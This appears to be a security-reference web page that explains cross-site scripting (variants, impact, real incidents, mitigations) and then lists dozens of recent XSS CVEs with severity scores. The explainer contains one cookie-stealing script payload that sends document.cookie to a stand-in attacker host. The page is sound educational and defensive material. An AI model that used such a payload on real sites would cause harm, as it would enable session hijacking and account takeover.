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Cross-Site Scripting

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Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (38987)

EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Smart Maintenance Mode WordPress plugin before 1.5.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Smart Maintenance Mode
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The WP Tabs WordPress plugin before 2.2.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Tabs
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Contact Form & SMTP Plugin for WordPress by PirateForms WordPress plugin before 2.6.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Contact Form
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Contact Form & SMTP Plugin for WordPress by PirateForms WordPress plugin before 2.6.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Pirate Forms
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Registrations for the Events Calendar WordPress plugin before 2.13.4 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Registrations For The Events Calendar
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Quiz and Survey Master (QSM) WordPress plugin before 9.2.1 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Quiz And Survey Master
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Slider by 10Web WordPress plugin before 1.2.62 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Slider
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Slider by 10Web WordPress plugin before 1.2.62 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Slider
NVD WPScan
EPSS 0% CVSS 3.5
LOW POC Monitor

The Form Maker by 10Web WordPress plugin before 1.15.30 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Form Maker
NVD WPScan
EPSS 0% CVSS 3.5
LOW POC Monitor

The WordPress WP-Advanced-Search WordPress plugin before 3.3.9.3 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Advanced Search
NVD WPScan
EPSS 0% CVSS 5.9
MEDIUM POC This Month

The Stylish Price List WordPress plugin before 7.1.12 does not sanitise and escape some of its settings, which could allow high privilege users such as contributor to perform Stored Cross-Site. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Stylish Price List
NVD WPScan
EPSS 0% CVSS 5.9
MEDIUM POC This Month

The Job Postings WordPress plugin before 2.7.11 does not sanitise and escape some of its settings, which could allow high privilege users such as contributor to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Jobs For Wordpress
NVD WPScan
EPSS 0% CVSS 5.1
MEDIUM This Month

An Improper Neutralization of Input During Web Page Generation vulnerability in the APROL Web Portal used in B&R APROL <4.4-00P5 may allow an authenticated network-based attacker to insert malicious. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability classified as problematic has been found in timschofield webERP up to 5.0.0.rc+13. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability was found in JoomlaUX JUX Real Estate 3.4.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Jux Real Estate +1
NVD VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in Yonyou UFIDA ERP-NC 5.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ufida Erp Nc
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in Yonyou UFIDA ERP-NC 5.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ufida Erp Nc
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in Yonyou UFIDA ERP-NC 5.0 and classified as problematic.jsp. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ufida Erp Nc
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability has been found in Yonyou UFIDA ERP-NC 5.0 and classified as problematic. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ufida Erp Nc
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

The Kentico Xperience application does not fully validate or filter files uploaded via the multiple-file upload functionality, which allows for stored XSS.0.178. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS File Upload Xperience
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Script in Attributes in a Web Page vulnerability in Forcepoint Email Security (Blocked Messages module) allows Stored XSS.5.5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.0
MEDIUM POC This Month

Uguu through 1.8.9 allows Cross Site Scripting (XSS) via JavaScript in XML files. Rated medium severity (CVSS 6.0), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

XSS Uguu
NVD GitHub
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Rachel Cherry wA11y - The Web Accessibility Toolbox allows Stored XSS.0.3. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in kornelly Translator allows Stored XSS.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in coderscom WP Odoo Form Integrator allows Stored XSS.1.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in mandegarweb Replace Default Words allows Stored XSS.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in catchsquare WP Social Widget allows Stored XSS.2.6. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Anthony WordPress SQL Backup allows Stored XSS.5.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress CSRF XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Logan Carlile Easy Page Transition allows Stored XSS.0.1. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in DEJAN CopyLink allows Stored XSS.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in alphasis Related Posts via Categories allows Stored XSS.1.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in thiagogsrwp WP Hotjar allows Stored XSS.0.3. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wp-maverick WP Parallax Content Slider allows Stored XSS.9.8. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in iografica IG Shortcodes allows DOM-Based XSS.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tstafford include-file allows Stored XSS. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in samsk Include URL allows Stored XSS.3.5. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in ryan_xantoo Map Contact allows Stored XSS.0.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in shawfactor LH OGP Meta allows Stored XSS.73. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in bbodine1 cTabs allows Stored XSS.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in alphaomegaplugins AlphaOmega Captcha &amp; Anti-Spam Filter allows Stored XSS.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in ProRankTracker Pro Rank Tracker allows Stored XSS.0.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in hotvanrod AdSense Privacy Policy allows Stored XSS.1.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in mendibass Browser Address Bar Color allows Stored XSS.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Arefly Login Redirect allows Stored XSS.0.5. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jenst Mobile Navigation allows Stored XSS.5. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in mrdenny My Default Post Content allows Stored XSS.7.3. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Igor Yavych Simple Rating allows Stored XSS.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

CSRF XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Aryan Themes Clink allows DOM-Based XSS.2.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross-site scripting in Banner Manager WordPress plugin through version 16.04.19 is achievable via CSRF attack vector, allowing attackers to inject malicious scripts that execute in victim administrators' browsers. The vulnerability chains a CSRF weakness (CWE-352) with XSS payload injection, enabling attackers to compromise admin sessions by tricking authenticated users into visiting attacker-controlled pages. No public exploit identified at time of analysis, with EPSS indicating 0.04% exploitation probability (12th percentile), suggesting low observed threat actor interest despite the cross-scope impact and network attack vector.

CSRF XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored Cross-Site Scripting can be injected into Custom Script Integration for WordPress via Cross-Site Request Forgery attack affecting versions up to and including 2.1. Attackers can trick authenticated administrators into submitting malicious script payloads that persist in the site database and execute in victims' browsers. EPSS score of 0.04% (12th percentile) indicates low automated exploitation likelihood, and no active exploitation or public exploit code has been identified at time of analysis, though the vulnerability has been publicly documented by Patchstack.

CSRF XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-site request forgery (CSRF) in CAS Maestro WordPress plugin versions up to 1.1.3 enables attackers to chain CSRF with stored XSS, allowing malicious scripts to be persistently injected into the application. Attackers trick authenticated administrators into executing forged requests that store malicious payloads, which then execute in victims' browsers with administrator privileges. EPSS score of 0.04% (12th percentile) indicates low observed exploitation probability, and no active exploitation is confirmed in CISA KEV. This WordPress plugin vulnerability requires social engineering to exploit but achieves scope change (S:C) allowing cross-context attacks once the stored XSS payload is injected.

CSRF XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross-site scripting (XSS) in jQuery Dropdown Menu WordPress plugin (versions up to 3.0) can be triggered via CSRF, allowing remote unauthenticated attackers to inject malicious scripts into the application when an authenticated administrator is tricked into submitting a crafted request. The vulnerability chains CSRF (CWE-352) with stored XSS, enabling persistent code execution in victim browsers with changed origin scope (S:C in CVSS vector). EPSS probability is low (0.04%, 12th percentile) indicating limited observed exploitation activity. No CISA KEV listing or public exploit code identified at time of analysis.

CSRF XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-site request forgery in ANAC XML Render WordPress plugin versions through 1.5.7 enables stored cross-site scripting attacks. Remote unauthenticated attackers can trick authenticated administrators into executing malicious requests that inject persistent JavaScript payloads into the site. EPSS score of 0.04% (12th percentile) indicates low observed exploitation probability, and no public exploit code or active exploitation has been identified at time of analysis.

CSRF XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

CSRF vulnerability in WordPres 同步微博 WordPress plugin enables stored XSS attacks against site administrators. Unauthenticated remote attackers can craft malicious pages that trick authenticated administrators into executing attacker-controlled JavaScript stored in the WordPress database, leading to account compromise, content manipulation, or site takeover. EPSS score of 0.04% (12th percentile) indicates low observed exploitation probability, and no active exploitation or public POC has been identified at time of analysis.

CSRF XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Z.com byGMO GMO Font Agent allows Stored XSS.6. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) enables stored cross-site scripting (XSS) in WordPress Admin Bar Improved plugin versions up to 3.3.5, allowing attackers to trick authenticated administrators into executing malicious code that persists in the WordPress admin interface. The vulnerability chains CSRF with stored XSS, enabling attackers to inject scripts that execute whenever any user accesses affected admin pages. EPSS exploitation probability is low (0.08%, 24th percentile), no active exploitation confirmed via CISA KEV, and Patchstack has documented this vulnerability with attack chain details.

WordPress CSRF XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in smartredfox Pretty file links allows Stored XSS.9. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

CSRF vulnerability in CallPhone'r WordPress plugin through version 1.1.1 enables attackers to trick authenticated administrators into executing malicious requests that inject persistent XSS payloads into the application. This chained attack bypasses CSRF protections, allowing stored cross-site scripting that executes in victim browsers. The vulnerability requires user interaction (tricking an admin to click a malicious link) but needs no authentication from the attacker's perspective. EPSS probability of 0.08% (24th percentile) indicates low observed exploitation in the wild, with no CISA KEV listing or public POC identified at time of analysis.

CSRF XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in pixeline issuuPress allows Stored XSS.3.2. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in avaibook AvaiBook allows Stored XSS.2. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Benedikt Mo BMo Expo allows Stored XSS.0.15. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Cristian Sarov Upload Quota per User allows Stored XSS.3. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in zeitwesentech Beautiful Link Preview allows Stored XSS.5.0. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in gopiplus Message ticker allows Stored XSS.3. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in MorganF Weather Layer allows Stored XSS.2.1. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Atikul AI Preloader allows Stored XSS.0.2. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in codetoolbox My Bootstrap Menu allows Stored XSS.2.1. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery in Contact Form 7 Material Design plugin versions up to 1.0.0 allows attackers to trick authenticated administrators into executing malicious requests that inject persistent JavaScript, achieving Stored XSS. CVSS 7.1 reflects the changed scope (S:C) and multi-stage attack requiring user interaction. EPSS score of 0.08% (24th percentile) indicates low probability of mass exploitation, with no evidence of active exploitation (not in CISA KEV) or public POC at time of analysis. This CSRF-to-XSS chain targets WordPress site administrators.

CSRF XSS
NVD
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability classified as problematic has been found in michelson Dante Editor up to 0.4.4. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Dante3
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in GetmeUK ContentTools up to 1.6.16. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Contenttools
NVD GitHub VulDB
EPSS 0% CVSS 3.5
LOW POC Monitor

The Slider, Gallery, and Carousel by MetaSlider WordPress plugin before 3.95.0 does not sanitise and escape some of its settings, which could allow high privilege users such as editor to perform. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Slider Gallery And Carousel +1
NVD WPScan
EPSS 0% CVSS 3.5
LOW POC Monitor

The Slider, Gallery, and Carousel by MetaSlider WordPress plugin before 3.95.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Slider Gallery And Carousel +1
NVD WPScan
EPSS 0% CVSS 3.5
LOW POC Monitor

The Photo Gallery by 10Web WordPress plugin before 1.8.33 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Photo Gallery
NVD WPScan
EPSS 0% CVSS 3.5
LOW POC Monitor

The Form Maker by 10Web WordPress plugin before 1.15.30 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated low severity (CVSS 3.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Form Maker
NVD WPScan
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability classified as problematic has been found in code-projects Payroll Management System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Payroll Management System
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in PHPGurukul Medical Card Generation System 1.0.php. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Medical Card Generation System
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in PHPGurukul Art Gallery Management System 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Art Gallery Management System
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC Monitor

The Nested Pages WordPress plugin before 3.2.13 does not sanitise and escape some of its settings, which could allow high privilege users such as contributors to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Nested Pages +1
NVD WPScan
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in westboy CicadasCMS 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cicadascms
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

A vulnerability classified as problematic was found in yangyouwang 杨有旺 crud 简约后台管理系统 1.0.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

** UNSUPPORTED WHEN ASSIGNED ** Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Apache Oozie. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Apache XSS Oozie
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Bitspecter Suite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.0.0 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

A vulnerability classified as problematic has been found in yangyouwang 杨有旺 crud 简约后台管理系统 1.0.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM This Month

The Multi Video Box plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'video_id' and 'group_id' parameters in all versions up to, and including, 1.5.2 due to insufficient. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS PHP
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

